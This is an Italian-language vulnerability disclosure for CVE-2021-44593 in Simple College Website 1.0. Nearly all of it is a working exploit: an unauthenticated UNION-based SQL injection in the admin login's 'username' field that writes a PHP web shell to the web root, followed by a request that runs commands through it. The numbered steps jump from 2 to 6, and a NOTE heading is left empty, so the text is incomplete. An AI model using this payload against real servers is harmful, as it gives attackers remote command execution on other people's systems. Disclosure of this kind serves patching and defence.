CVE-2021-44593

Divulgazione pubblica di CVE-2021-44593. Una vulnerabilità di SQL injection/caricamento arbitrario di file/esecuzione di codice remoto in Simple College Website.

DESCRIZIONE

Simple College Website 1.0 è vulnerabile a una SQL injection non autenticata basata su UNION nel parametro "username" della pagina /admin/login.php, che può poi essere sfruttata per caricare file arbitrari e ottenere l'esecuzione di codice remoto.

COMPONENTI INTERESSATI

La funzione login() in admin_class.php

PASSAGGI PER LA RIPRODUZIONE

1. Accedere alla pagina di login dell'amministratore (di solito /admin/login.php)
2. Inviare il modulo di login con il parametro POST "username" contenente la seguente SQL injection basata su UNION:

' union select null, null, ("<?php system($_GET['cmd']);?>"), null, null INTO OUTFILE '/var/www/html/testing.php'; -- -

6. Navigare a /testing.php?cmd=id

NOTE